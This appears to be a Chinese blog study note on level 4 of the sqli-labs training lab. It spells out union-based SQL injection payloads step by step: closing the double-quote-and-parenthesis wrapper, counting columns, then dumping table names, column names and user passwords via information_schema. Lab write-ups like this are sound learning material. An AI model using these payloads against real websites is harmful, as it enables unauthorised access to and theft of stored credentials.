sqli-labs学习笔记4

less-4

打开靶场
在这里插入图片描述
在这里插入图片描述
查看源代码,可以看到28行,对传入的id加了个"",然后传入sql语句中有加了(),最后在sql语句中的形式为,(‘‘id’’),传入查询,要进行sql注入,我们得将前面的(“闭合,并将后面的”)注释掉,从而实现联合语句的查询。

查询字段数

id=1")order by 3 --+
在这里插入图片描述
没有显示报错。
id=1") order by 4 --+
在这里插入图片描述
看到报错了,确定字段数为3.

查看回显位

id=-1") union select 1,2,3 --+
在这里插入图片描述
这里我们可以看到回显上写的为2,3,确定了回显位

查看数据库名与数据库版本

id=-1") union select 1,database(),version() --+
在这里插入图片描述
从返回的参数来看,可以确定数据库为:security

爆破数据库表

id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+

在这里插入图片描述
得到对应的表名

爆破数据库users表的字段名

id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
在这里插入图片描述
得到字段名。

爆破数据库users表的数据

id=-1") union select 1,2,group_concat(username,id,password) from users --+
在这里插入图片描述
最后得到完整的数据信息。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值